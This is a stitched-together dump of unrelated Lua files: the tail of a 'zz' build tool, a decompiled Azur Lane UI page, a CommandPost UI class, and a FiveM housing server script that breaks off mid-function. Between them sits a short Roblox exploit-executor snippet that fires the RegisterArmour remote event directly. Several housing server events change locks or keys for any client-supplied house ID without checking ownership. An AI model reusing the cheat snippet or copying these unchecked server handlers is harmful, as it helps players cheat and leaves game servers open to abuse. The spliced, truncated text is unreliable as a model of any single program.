self.link_targets = targets
end
end
function BuildContext:ldflags()
local ldflags = {}
self:walk_imports(function(ctx)
util.extend(ldflags, ctx.pd.ldflags)
end)
return ldflags
end
function BuildContext:gen_modname_map()
-- generate a table which maps fully qualified module names to
-- their mangled versions
local map = {}
local function add_module_names_exported_from(ctx)
local package_name = ctx.pd.package
for _,m in ipairs(ctx.pd.exports) do
local mangled = ctx:mangle(m)
map[package_name..'/'..m] = mangled
end
end
self:walk_imports(add_module_names_exported_from)
local items = {}
for k,v in pairs(map) do
table.insert(items, sf('["%s"]="%s"', k, v))
end
return sf('{%s}', table.concat(items, ','))
end
function BuildContext:gen_preamble()
local lines = {}
local function add(...)
table.insert(lines, sf(...).."\n")
end
add("ZZ_PACKAGE = '%s'", self.pd.package)
add("ZZ_CORE_PACKAGE = '%s'", ZZ_CORE_PACKAGE)
add("ZZ_MODNAME_MAP = %s", self:gen_modname_map())
return table.concat(lines)
end
function BuildContext:main_targets(name, bootstrap_code)
local ctx = self
local zzctx = get_build_context(ZZ_CORE_PACKAGE)
zzctx:prep_native_targets() -- for libluajit.a cflags
local main_tpl_c = ctx:Target {
dirname = zzctx.srcdir,
basename = "_main.tpl.c"
}
local main_c = ctx:Target {
dirname = ctx.tmpdir,
basename = sf("%s.c", name),
depends = main_tpl_c,
build = function(self)
ctx:cp {
src = main_tpl_c,
dst = self
}
end
}
local main_o = ctx:Target {
dirname = ctx.objdir,
basename = sf("%s.o", name),
depends = main_c,
build = function(self)
ctx:compile_c {
src = main_c,
dst = self,
cflags = zzctx:get("libluajit.a").cflags
}
end
}
local main_tpl_lua = ctx:Target {
dirname = zzctx.srcdir,
basename = "_main.tpl.lua"
}
local package_lua = ctx:Target {
dirname = ctx.srcdir,
basename = "package.lua"
}
local main_lua = ctx:Target {
dirname = ctx.tmpdir,
basename = sf("%s.lua", name),
depends = { main_tpl_lua, package_lua },
build = function(self)
local f = stream(fs.open(self.path, bit.bor(ffi.C.O_CREAT,
ffi.C.O_WRONLY,
ffi.C.O_TRUNC)))
f:write(ctx:gen_preamble())
f:write(fs.readfile(main_tpl_lua.path))
f:write(bootstrap_code)
f:close()
end
}
local main_lo = ctx:Target {
dirname = ctx.objdir,
basename = sf("%s.lo", name),
depends = main_lua,
build = function(self)
ctx:compile_lua {
src = main_lua,
dst = self,
sym = '_main'
}
end
}
return { main_o, main_lo }
end
function BuildContext:collect_mounts()
local mounts = {}
self:walk_imports(function(ctx)
for _,dir in ipairs(ctx.pd.mounts) do
if type(dir) ~= "string" then
ef("invalid mount specification in package %s: %s", ctx.pd.package, inspect(dir))
end
table.insert(mounts, {
pkg = ctx.pd.package,
path = fs.join(ctx.srcdir, dir)
})
end
end)
return mounts
end
function BuildContext:gen_vfs_mounts()
local mount_statements = {}
for _,mount in ipairs(self:collect_mounts()) do
table.insert(mount_statements,
sf("vfs.mount('%s','%s')\n", mount.path, mount.pkg))
end
local code = ''
if #mount_statements > 0 then
code = code .. "do\n"
code = code .. "local vfs = require('vfs')\n"
code = code .. table.concat(mount_statements)
code = code .. "end\n"
end
return code
end
function BuildContext:gen_app_bootstrap(appname, has_attached_zip)
local code = ''
if has_attached_zip then
code = code .. "do\n"
code = code .. "local vfs = require('vfs')\n"
code = code .. "local process = require('process')\n"
code = code .. "vfs.mount(process.get_executable_path())\n"
code = code .. "end\n"
end
code = code .. sf("run_module('%s')\n", self:mangle(appname))
return code
end
function BuildContext:gen_run_bootstrap()
return self:gen_vfs_mounts()..sf("run_script(table.remove(_G.arg,1))\n")
end
function BuildContext:gen_test_bootstrap()
return self:gen_vfs_mounts().."run_tests(_G.arg)\n"
end
function BuildContext:prep_app_targets()
if not self.app_targets then
self:prep_link_targets()
local mounts = self:collect_mounts()
local attach_zip = #mounts > 0
local targets = {}
for _,appname in ipairs(self.pd.apps) do
local app_module_targets = {}
if not util.contains(appname, self.pd.exports) then
-- it's not included in the library as a module
-- we shall build it separately
app_module_targets = self:module_targets(appname)
end
local bootstrap = self:gen_app_bootstrap(appname, attach_zip)
local main_targets = self:main_targets('_main', bootstrap)
local ctx = self
local app = self:Target {
dirname = self.bindir,
basename = appname,
depends = {
self.link_targets,
app_module_targets,
main_targets,
},
build = function(self)
ctx:link {
dst = self,
src = {
ctx.link_targets,
app_module_targets,
main_targets
},
ldflags = ctx:ldflags()
}
if attach_zip then
ctx:attach_zipped_mounts {
dst = self,
mounts = mounts,
}
end
end
}
table.insert(targets, app)
end
self.app_targets = targets
end
end
function BuildContext:build(opts)
opts = opts or {}
if opts.recursive then
for _,pkg in ipairs(self.pd.imports) do
get_build_context(pkg):build(opts)
end
end
with_cwd(self.srcdir, function()
self:prep_native_targets()
for _,native_target in ipairs(self.native_targets) do
native_target:make()
end
self:prep_library_target()
self.library_target:make()
if opts.apps then
self:prep_app_targets()
for _,app_target in ipairs(self.app_targets) do
app_target:make()
end
end
end)
end
function BuildContext:install()
self:build {
recursive = true,
apps = true
}
self:prep_app_targets()
for _,app_target in ipairs(self.app_targets) do
self:symlink {
src = app_target,
dst = fs.join(self.gbindir, app_target.basename)
}
end
end
function BuildContext:run(path)
if not fs.exists(path) then
die("script not found: %s", path)
end
path = fs.realpath(path)
if path:sub(1,#self.srcdir) ~= self.srcdir then
die("this script belongs to another package: %s", path)
end
local bootstrap = self:gen_run_bootstrap(path)
local main_targets = self:main_targets('_run', bootstrap)
self:prep_link_targets()
local ctx = self
local runner = ctx:Target {
dirname = ctx.tmpdir,
basename = '_run',
depends = { ctx.link_targets, main_targets },
build = function(self)
ctx:link {
dst = self,
src = { ctx.link_targets, main_targets },
ldflags = ctx:ldflags()
}
end
}
runner:make()
process.system { runner.path, unpack(_G.arg, 2) }
end
function BuildContext:find_tests()
return fs.glob(fs.join(self.srcdir, "*_test.lua"))
end
function BuildContext:test(test_names)
self:build {
recursive = true,
apps = false
}
local test_paths
if not test_names or #test_names == 0 then
test_paths = self:find_tests()
else
local function resolve(test_name)
local test_path
if test_name:sub(-4) == ".lua" then
test_path = test_name
else
if test_name:sub(-5) ~= "_test" then
test_name = test_name.."_test"
end
test_path = sf("%s/%s.lua", self.srcdir, test_name)
end
if not fs.exists(test_path) then
die("cannot find test: %s", test_path)
end
return fs.realpath(test_path)
end
test_paths = util.map(resolve, test_names)
end
local bootstrap = self:gen_test_bootstrap()
local main_targets = self:main_targets('_test', bootstrap)
self:prep_link_targets()
local ctx = self
local testrunner = ctx:Target {
dirname = ctx.tmpdir,
basename = '_test',
depends = { ctx.link_targets, main_targets },
build = function(self)
ctx:link {
dst = self,
src = { ctx.link_targets, main_targets },
ldflags = ctx:ldflags()
}
end
}
testrunner:make()
process.system { testrunner.path, unpack(test_paths) }
end
local function rmpath(path)
log("rmpath: %s", path)
fs.rmpath(path)
end
function BuildContext:clean()
rmpath(self.objdir)
rmpath(self.libdir)
rmpath(self.tmpdir)
end
function BuildContext:distclean()
self:clean()
local installed_apps = util.filter(fs.is_lnk, fs.glob(fs.join(self.gbindir,"*")))
for _,app in ipairs(installed_apps) do
if fs.dirname(fs.realpath(app)) == self.bindir then
log("unlink: %s", app)
fs.unlink(app)
end
end
rmpath(self.bindir)
rmpath(self.nativedir)
end
local function parse_package_name(package_name)
if not package_name or package_name == '.' then
local pd_path = find_package_descriptor()
if pd_path then
local pd_chunk = loadfile(pd_path)
local pd = pd_chunk()
package_name = pd.package
else
die("no package")
end
end
local pkgname, pkgurl
local m = re.Matcher(package_name)
if m:match("^(.+?)@(.+?):(.+?)(\\.git)?$") then
-- user@host:path
pkgname = sf("%s/%s", m[2], m[3])
pkgurl = m[0]
elseif m:match("^https?://(.+?)/(.+?)(\\.git)?$") then
-- https://host/path
pkgname = sf("%s/%s", m[1], m[2])
pkgurl = m[0]
elseif m:match("^(.+?)/(.+)$") then
-- host/path
pkgname = m[0]
pkgurl = sf("https://%s", pkgname)
end
if pkgname and pkgurl then
return pkgname, pkgurl
else
die("cannot parse package name: %s", package_name)
end
end
local function gen_package_descriptor(pkgname)
return [[
local P = {}
P.package = "]]..pkgname..[["
-- external packages used by this package
P.imports = {}
-- native C libraries built by this package
P.native = {}
-- Lua/C modules exported by this package
P.exports = {}
-- compile-time module dependencies
P.depends = {}
-- directories mountable via VFS
P.mounts = {}
-- apps (executables) generated by this package
P.apps = {}
-- apps which shall be symlinked into $ZZPATH/bin
P.install = {}
return P
]]
end
local function init(package_name)
local pkgname, pkgurl = parse_package_name(package_name)
local srcdir = sf("%s/src/%s", ZZPATH, pkgname)
if not fs.exists(srcdir) then
log("mkpath: %s", srcdir)
fs.mkpath(srcdir)
end
local pd_path = fs.join(srcdir, "package.lua")
if not fs.exists(pd_path) then
log("creating package descriptor: %s", pd_path)
fs.writefile(pd_path, gen_package_descriptor(pkgname))
log("package successfully initialized at %s", srcdir)
else
log("package descriptor already exists: %s", pd_path)
end
end
local git = setmetatable({}, {
__index = function(self, command)
return function(...)
local status = system { "git", command, ... }
if status ~= 0 then
die("git %s failed", command)
end
end
end
})
local function checkout(package_name, opts, seen)
opts = opts or {}
seen = seen or {}
if seen[package_name] then
return
end
local function plog(action)
log(sf("[%s] %s", action, package_name))
end
local pkgname, pkgurl = parse_package_name(package_name)
local srcdir = sf("%s/src/%s", ZZPATH, pkgname)
if not fs.exists(srcdir) then
plog("CLONE")
git.clone(pkgurl, srcdir)
elseif opts.update then
with_cwd(srcdir, function()
plog("FETCH")
git.fetch()
end)
end
with_cwd(srcdir, function()
plog("CHECKOUT")
git.checkout("master")
if opts.update then
plog("PULL")
git.pull()
end
end)
seen[package_name] = true
if opts.recursive then
-- checkout dependencies
local pd = PackageDescriptor(pkgname)
for _,package_name in ipairs(pd.imports) do
checkout(package_name, {
update = false,
recursive = true
}, seen)
end
end
end
local handlers = {}
function handlers.init(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
local args = ap:parse(args)
if args.pkg then
init(args.pkg)
else
die("Missing argument: pkg")
end
end
function handlers.checkout(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
ap:add { name = "update", option = "-u|--update" }
ap:add { name = "recursive", option = "-r|--recursive" }
local args = ap:parse(args)
if args.pkg then
checkout(args.pkg, {
update = args.update,
recursive = args.recursive
})
else
die("Missing argument: pkg")
end
end
function handlers.build(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
ap:add { name = "recursive", option = "-r|--recursive" }
local args = ap:parse(args)
get_build_context(args.pkg):build {
recursive = args.recursive,
apps = true
}
end
function handlers.install(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
local args = ap:parse(args)
get_build_context(args.pkg):install()
end
function handlers.get(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
ap:add { name = "update", option = "-u|--update" }
local args = ap:parse(args)
if args.pkg then
checkout(args.pkg, {
update = args.update,
recursive = true
})
get_build_context(args.pkg):install()
else
die("Missing argument: pkg")
end
end
function handlers.run(args)
local ap = argparser()
ap:add { name = "script_path", type = "string" }
local args = ap:parse(args)
if not args.script_path then
die("missing argument: script path")
end
get_build_context():run(args.script_path)
end
function handlers.test(args)
local ap = argparser()
local args, test_names = ap:parse(args)
get_build_context():test(test_names)
end
function handlers.clean(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
local args = ap:parse(args)
get_build_context(args.pkg):clean()
end
function handlers.distclean(args)
local ap = argparser()
ap:add { name = "pkg", type = "string" }
local args = ap:parse(args)
get_build_context(args.pkg):distclean()
end
function M.main()
local ap = argparser("zz", "zz build system")
ap:add { name = "command", type = "string" }
ap:add { name = "quiet", option = "-q|--quiet" }
local args, rest_of_args = ap:parse()
if not args.command then
usage()
end
quiet = args.quiet
local handler = handlers[args.command]
if not handler then
die("Invalid command: %s", args.command)
else
handler(rest_of_args)
end
end
return M
|
getglobal game
getfield -1 Workspace
getfield -1 RegisterArmour
getfield -1 FireServer
pushvalue -2
pushnumber 17
pcall 2 1 0
|
slot0 = class("BismarckChapterPage", import("...base.BaseActivityPage"))
slot0.tabPos = {
[1.0] = 10,
[2.0] = 182.3
}
slot0.IconShowFunc = {
[DROP_TYPE_SHIP] = function (slot0, slot1)
GetImageSpriteFromAtlasAsync("SquareIcon/" .. slot3, "", slot0)
end,
[DROP_TYPE_FURNITURE] = function (slot0, slot1)
GetImageSpriteFromAtlasAsync("furnitureicon/" .. pg.furniture_data_template[slot1].icon, "", slot0)
end
}
slot0.TransformType = {
[TASK_SUB_TYPE_COLLECT_SHIP] = DROP_TYPE_SHIP,
[TASK_SUB_TYPE_COLLECT_FURNITURE] = DROP_TYPE_FURNITURE
}
slot0.OnInit = function (slot0)
slot0.bg = slot0:findTF("AD")
slot0.items = {
slot0:findTF("AD/Item1"),
slot0:findTF("AD/Item2")
}
slot0.awardTF = slot0:findTF("AD/award")
slot0.battleBtn = slot0:findTF("AD/battle_btn")
slot0.shopBtn = slot0:findTF("AD/exchange_btn")
slot0.buildBtn = slot0:findTF("AD/build_btn")
slot0.tab = slot0:findTF("tab")
slot0.bar = slot0:findTF("bar")
slot0.scrollList = slot0:findTF("Scroll View", slot0.tab)
slot0.content = slot0:findTF("Content", slot0.scrollList)
slot0.listTmpl = slot0:findTF("listitem", slot0.tab)
slot0.taskList = UIItemList.New(slot0.content, slot0.listTmpl)
slot0.finalTasks = {}
slot0.subtasks = {}
slot0.tabType = 0
end
slot0.OnFirstFlush = function (slot0)
slot0.finalTasks = Clone(slot0.activity:getConfig("config_client"))
_.each(slot1, function (slot0)
if pg.task_data_template[slot0] and slot1.target_id then
table.insert(slot0.subtasks, Clone(slot2))
end
end)
setText(slot0.findTF(slot0, "desc", slot0.bg), i18n("bismarck_chapter_desc"))
slot0:SubimtCompletedMission()
slot0:InitInteractable()
end
slot0.InitInteractable = function (slot0)
slot1 = getProxy(TaskProxy)
for slot5, slot6 in ipairs(slot0.finalTasks) do
slot7 = pg.task_data_template[slot6]
onButton(slot0, slot0.items[slot5], function ()
if slot0:getTaskVO(slot1):getTaskStatus() == 1 then
slot2:emit(ActivityMediator.ON_TASK_SUBMIT, slot0)
return
end
if slot2.tabType == slot3 then
return
end
slot2.tabType = slot3
slot3:UpdateTab()
end, SFX_PANEL)
end
onButton(slot0, slot0.battleBtn, function ()
slot0:emit(ActivityMediator.BATTLE_OPERA)
end, SFX_PANEL)
onButton(slot0, slot0.shopBtn, function ()
slot0.emit(slot1, ActivityMediator.GO_SHOPS_LAYER, {
warp = NewShopsScene.TYPE_ACTIVITY,
actId = _.detect(getProxy(ActivityProxy):getActivitiesByType(ActivityConst.ACTIVITY_TYPE_SHOP), function (slot0)
return slot0:getConfig("config_client").pt_id == pg.gameset.activity_res_id.key_value
end) and slot0.id
})
end, SFX_PANEL)
onButton(slot0, slot0.buildBtn, function ()
slot0:emit(ActivityMediator.EVENT_GO_SCENE, SCENE.GETBOAT, {
projectName = BuildShipScene.PROJECTS.ACTIVITY
})
end, SFX_PANEL)
onButton(slot0, slot0.bg, function ()
if slot0.tabType > 0 then
slot0.tabType = 0
slot0:UpdateTab()
end
end)
end
slot0.OnUpdateFlush = function (slot0)
slot0:UpdateView()
slot0:UpdateTab()
end
slot0.UpdateView = function (slot0)
slot1 = getProxy(TaskProxy)
for slot5 = 1, #slot0.finalTasks, 1 do
setActive(slot8, true)
slot0:UpdateIcon(slot0:findTF("icon", slot8), pg.task_data_template[slot0.finalTasks[slot5]].award_display[1][1], pg.task_data_template[slot0.finalTasks[slot5]].award_display[1][2])
setActive(slot0.items[slot5]:Find("active"), slot1:getTaskVO(slot6).getTaskStatus(slot10) == 0)
setActive(slot8:Find("finished"), slot11 == 1)
setActive(slot8:Find("achieved"), slot11 == 2)
setButtonEnabled(slot8, slot11 < 2)
slot0.tabType = (slot0.tabType ~= slot5 or slot11 ~= 2 or 0) and slot0.tabType
end
for slot5 = #slot0.finalTasks + 1, #slot0.items, 1 do
setActive(slot0.items[slot5], false)
slot0.tabType = (slot0.tabType ~= slot5 or 0) and slot0.tabType
end
end
slot0.UpdateTab = function (slot0)
if slot0.tabType == 0 then
setActive(slot0.tab, false)
return
end
slot0.taskList:align(slot2)
slot3 = getProxy(TaskProxy)
slot4 = 0
for slot8 = 1, #slot0.subtasks[slot0.tabType], 1 do
slot9 = slot0.content:GetChild(slot8 - 1)
setText(slot0:findTF("title/Text", slot9), string.format("Task-%02d", slot8))
setActive(slot9:Find("tip2"), slot0.TransformType[pg.task_data_template[slot1[slot8]].sub_type] == DROP_TYPE_FURNITURE)
setActive(slot9:Find("tip"), slot13 == DROP_TYPE_SHIP)
slot14 = false
setActive(slot9:Find("completed"), defaultValue((slot3:getTaskById(slot10) or slot3:getFinishTaskById(slot10)) and slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10):isFinish(), false))
setText(slot0:findTF("text", slot9), slot11.desc)
slot0:UpdateIcon(slot0:findTF("icon", slot9), slot13, tonumber(pg.task_data_template[slot1[slot8]].target_id))
slot4 = slot4 + (((slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10)) and slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10):isFinish() and 1) or 0)
end
setText(slot0:findTF("slider/progress", slot0.tab), string.format("[%d/%d]", slot4, slot2))
slot0.scrollList:GetComponent(typeof(ScrollRect)).verticalNormalizedPosition = 1
slot0.tab.transform.anchoredPosition.x = slot0.tabPos[slot0.tabType]
setAnchoredPosition(slot0.tab, slot5)
slot0.bar.sizeDelta.x = slot0._tf.sizeDelta.x - slot0.bar.anchoredPosition.x - slot0.tab.transform.anchoredPosition.x - slot0.tab.sizeDelta.x
slot0.bar.sizeDelta = slot0.bar.sizeDelta
setActive(slot0.tab, true)
end
slot0.UpdateIcon = function (slot0, slot1, slot2, slot3)
if slot0.IconShowFunc[slot2] then
slot0.IconShowFunc[slot2](slot1, slot3)
end
end
slot0.OnDestroy = function (slot0)
return
end
slot0.SubimtCompletedMission = function (slot0)
slot1 = getProxy(TaskProxy)
for slot5, slot6 in pairs(slot0.subtasks) do
for slot10, slot11 in pairs(slot6) do
if slot1:getTaskById(slot11) and slot12:isFinish() then
slot0:emit(ActivityMediator.ON_TASK_SUBMIT, slot12)
end
end
end
end
return slot0
|
--- === cp.ui.Group ===
---
--- UI Group.
local require = require
-- local log = require "hs.logger" .new "Group"
local ax = require "cp.fn.ax"
local Element = require "cp.ui.Element"
local pack = table.pack
local Group = Element:subclass("cp.ui.Group")
:defineBuilder("containing")
--- === cp.ui.Group.Builder ===
---
--- Defines a `Group` builder.
--- cp.ui.Group:containing(...) -> cp.ui.Group.Builder
--- Function
--- Returns a `Builder` with the `Element` initializers for the children in the group.
---
--- Parameters:
--- * ... - A variable list of `Element` initializers, one for each child.
---
--- Returns:
--- * The `Group.Builder`
--- cp.ui.Group.matches(element) -> boolean
--- Function
--- Checks to see if an element matches what we think it should be.
---
--- Parameters:
--- * element - An `axuielementObject` to check.
---
--- Returns:
--- * `true` if matches otherwise `false`
function Group.static.matches(element)
return Element.matches(element) and element:attributeValue("AXRole") == "AXGroup"
end
--- cp.ui.Group(parent, uiFinder[, contentsClass]) -> Alert
--- Constructor
--- Creates a new `Group` instance.
---
--- Parameters:
--- * parent - The parent object.
--- * uiFinder - A function which will return the `hs.axuielement` when available.
---
--- Returns:
--- * A new `Group` object.
function Group:initialize(parent, uiFinder, ...)
Element.initialize(self, parent, uiFinder)
self.childInits = pack(...)
end
--- cp.ui.Group.childrenUI <cp.prop: table of axuielement>
--- Field
--- Contains the list of `axuielement` children of the group.
function Group.lazy.prop:childrenUI()
return ax.prop(self.UI, "AXChildren")
end
--- cp.ui.Group.children <table of cp.ui.Element>
--- Field
--- Contains the list of `Element` children of the group.
function Group.lazy.value:children()
return ax.initElements(self, self.childrenUI, self.childInits)
end
return Group
|
local repayTime = 168 * 60 -- hours * 60
local timer = ((60 * 1000) * 10) -- 10 minute timer
RegisterServerEvent('house:updatespawns')
AddEventHandler('house:updatespawns', function(info, hid)
local src = source
local table = info
local house_id = hid
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.job.name == "realtor" then
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {hid}, function(result)
exports.ghmattimysql:execute("UPDATE __housedata SET `data` = @data WHERE `house_id` = @house_id", {
['@data'] = json.encode(table),
['@house_id'] = house_id
})
TriggerClientEvent('UpdateCurrentHouseSpawns', src, hid, json.encode(info))
end)
end
end)
RegisterServerEvent('housing:attemptsale')
AddEventHandler('housing:attemptsale', function(cid,price,house_id,house_model, storage, clothing,garages)
TriggerClientEvent('housing:findsalecid', -1, cid, price, house_id, house_model, storage, clothing, garages)
end)
RegisterServerEvent('house:purchasehouse')
AddEventHandler('house:purchasehouse', function(cid,house_id,house_model,upfront,price,housename,garages)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.getBank() >= upfront then
xPlayer.removeBank(upfront)
exports.ghmattimysql:execute('SELECT `housename` FROM __housedata WHERE `housename`= ?', {housename}, function(data)
if data[1].cid == nil then
exports.ghmattimysql:execute("UPDATE __housedata SET `cid` = @cid, `upfront` = @upfront, `housename` = @housename, `garages` = @garages, `house_model` = @house_model, `overall` = @overall, `payments` = @payments, `due` =@due, `days` = @days WHERE `house_id` = @house_id", {
['@cid'] = cid,
['@upfront'] = upfront,
['@housename'] = housename,
['@garages'] = json.encode(garages),
['@house_model'] = house_model,
['@overall'] = price,
['@payments'] = "14",
['@house_id'] = house_id,
['@days'] = repayTime,
['@due'] = price - upfront
})
TriggerClientEvent('DoLongHudText', src, "Congratulations, you now own " .. housename .. "!", 6)
else
TriggerClientEvent("DoLongHudText", src, "This house is already sold...", 2)
end
end)
else
TriggerEvent("DoLongHudText","You do not have enough money for this purchase.",2)
end
end)
RegisterServerEvent('housing:requestSpawnTable')
AddEventHandler('housing:requestSpawnTable', function(table, id, house_name)
local src = source
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id` = @house_id', { ['@house_id'] = id }, function(result)
if result[1] ~= nil then
TriggerClientEvent('UpdateCurrentHouseSpawns', src, id, result[1].data)
else
exports.ghmattimysql:execute("INSERT INTO __housedata (data, house_id, housename) VALUES (@data, @house_id, @housename)", {
['@house_id'] = id,
['@data'] = json.encode(table),
['@housename'] = house_name
})
end
end)
end)
RegisterServerEvent('housing:getGarage')
AddEventHandler('housing:getGarage', function(house_id, house_model)
local src = source
local cid = exports['npc-core']:GetPlayerCid(src)
exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(returnData)
if returnData[1] ~= nil then
TriggerClientEvent('sendGarges', src, json.decode(returnData[1].garages), returnData[1].house_id, returnData[1].housename)
end
end)
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(penis)
if penis[1] ~= nil then
if penis[1].garages ~= "{}" then
TriggerClientEvent('sendGarges', src, json.decode(penis[1].garages), penis[1].house_id, penis[1].housename)
end
end
end)
end)
RegisterServerEvent('house:enterhouse')
AddEventHandler('house:enterhouse', function(cid,house_id,house_model)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(house)
if house[1].force_locked ~= "locked" then
if house[1].cid == cid then
if house[1].furniture ~= {} then
TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(house[1].furniture), nil, nil, nil)
else
TriggerClientEvent('house:entersuccess', src, house_id, house_model)
end
TriggerClientEvent('UpdateCurrentHouseSpawns', src, house_id, house[1].data)
else
exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(house2)
if house2[1] ~= nil then
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(penis)
if penis[1].furniture ~= {} then
TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(penis[1].furniture), nil, nil, nil)
else
TriggerClientEvent('house:entersuccess', src, house_id, house_model)
end
TriggerClientEvent('UpdateCurrentHouseSpawns', src, house_id, penis[1].data)
end)
TriggerClientEvent('DoLongHudText', src, "Entering shared property", 1)
end
end)
end
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(guest)
if xPlayer.job.name == "realtor" then
if guest[1].furniture ~= {} then
TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(guest[1].furniture), nil, nil, nil)
else
TriggerClientEvent('house:entersuccess', src, house_id, house_model)
end
else
if guest[1].cid ~= cid then
if guest[1].status ~= "locked" then
if guest[1].furniture ~= {} then
TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(guest[1].furniture), nil, nil, nil)
else
TriggerClientEvent('house:entersuccess', src, house_id, house_model)
end
else
exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(guest2)
if guest2[1].cid ~= cid then
TriggerClientEvent('DoLongHudText', src, "This house is locked", 2)
end
end)
end
end
end
end)
else
TriggerClientEvent('DoLongHudText', src, "This house is forced locked by a realtor", 2)
end
end)
end)
RegisterServerEvent('house:givekey')
AddEventHandler('house:givekey', function(house_id,house_model,house_name,target)
local src = source
local TargetCID = exports['npc-core']:GetPlayerCid(tonumber(target))
exports.ghmattimysql:execute('SELECT * FROM characters WHERE `id`= ?', {TargetCID}, function(targetshit)
exports.ghmattimysql:execute('SELECT `house_id` FROM __housekeys WHERE `cid`= ?', {cid}, function(data)
if data == nil then
exports.ghmattimysql:execute('SELECT `garages` FROM __housedata WHERE `house_id`= ?', {house_id}, function(test)
local garages = test[1].garages
local name = targetshit[1].firstname .. " " .. targetshit[1].lastname
exports.ghmattimysql:execute('INSERT INTO __housekeys(cid, house_id, house_model, housename, name, garages) VALUES(?, ?, ?, ?, ?, ?)', {TargetCID, house_id, house_model, house_name, name, garages})
TriggerClientEvent('DoLongHudText', target, "You have received keys to " .. house_name .. ".", 6)
TriggerClientEvent('DoLongHudText', src, "You gave " .. name .. " keys to " .. house_name .. ".", 1)
end)
else
TriggerClientEvent("DoLongHudText", src, "This player already has keys to " .. house_name .. ".", 2)
end
end)
end)
end)
RegisterServerEvent('house:retrieveKeys')
AddEventHandler('house:retrieveKeys', function(house_id, house_model)
local src = source
local shared = {}
exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ?', {house_id}, function(data)
for k, v in pairs(data) do
if v ~= nil then
if v.house_id == house_id then
local random = math.random(1111,9999)
shared[random] = {}
table.insert(shared[random], {["sharedHouseName"] = v.housename, ["sharedId"] = v.cid, ["sharedName"] = v.name})
TriggerClientEvent('house:returnKeys', src, shared)
end
end
end
end)
end)
RegisterServerEvent("housing:unlockRE")
AddEventHandler("housing:unlockRE", function(house_id, house_model)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.job.name == "realtor" then
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result)
local address = result[1].housename
if result[1].force_locked == "unlocked" then
exports.ghmattimysql:execute("UPDATE __housedata SET `force_locked` = @force_locked WHERE `house_id` = @house_id ", {
['@force_locked'] = "locked",
['@house_id'] = house_id
})
TriggerClientEvent("DoLongHudText", src, "Property " ..address.. " has been locked", 1)
elseif result[1].force_locked == "locked" then
exports.ghmattimysql:execute("UPDATE __housedata SET `force_locked` = @force_locked WHERE `house_id` = @house_id ", {
['@force_locked'] = "unlocked",
['@house_id'] = house_id
})
TriggerClientEvent("DoLongHudText", src, "Property " ..address.. " has been unlocked", 2)
end
end)
end
end)
RegisterServerEvent("housing:unlock")
AddEventHandler("housing:unlock", function(house_id, house_model)
local src = source
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result)
local address = result[1].housename
if result[1].status == "unlocked" then
exports.ghmattimysql:execute("UPDATE __housedata SET `status` = @status WHERE `house_id` = @house_id ", {
['@status'] = "locked",
['@house_id'] = house_id
})
TriggerClientEvent("DoLongHudText", src, "The Property " ..address.. " has been locked", 1)
elseif result[1].status == "locked" then
exports.ghmattimysql:execute("UPDATE __housedata SET `status` = @status WHERE `house_id` = @house_id ", {
['@status'] = "unlocked",
['@house_id'] = house_id
})
TriggerClientEvent("DoLongHudText", src, "The Property " ..address.. " has been unlocked", 2)
end
end)
end)
RegisterServerEvent('house:removeKey')
AddEventHandler('house:removeKey', function(house_id, house_model, target)
local src = source
exports.ghmattimysql:execute('SELECT * FROM characters WHERE `id`= ?', {target}, function(TargetStuff)
exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE house_id = ? AND cid = ?', {house_id, target}, function(data)
exports.ghmattimysql:execute('DELETE FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid`= ?', {house_id, house_model, target})
local name = TargetStuff[1].firstname .. TargetStuff[1].lastname
TriggerClientEvent('DoLongHudText', src, "You removed " .. name .. "'s keys.")
end)
end)
end)
RegisterServerEvent("houses:removeSharedKey")
AddEventHandler("houses:removeSharedKey", function(house_id, cid)
local src = source
exports.ghmattimysql:execute('DELETE FROM __housekeys WHERE `house_id`= ? AND `cid`= ?', {house_id, cid})
TriggerClientEvent('DoLongHudText', src, "You have removed your shared key.", 2)
end)
RegisterServerEvent('CheckFurniture')
AddEventHandler('CheckFurniture', function(house_id, house_model)
local src = source
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(data)
if data[1].furniture ~= {} then
TriggerClientEvent('openFurnitureConfirm', src, house_id, house_model, json.decode(data[1].furniture))
else
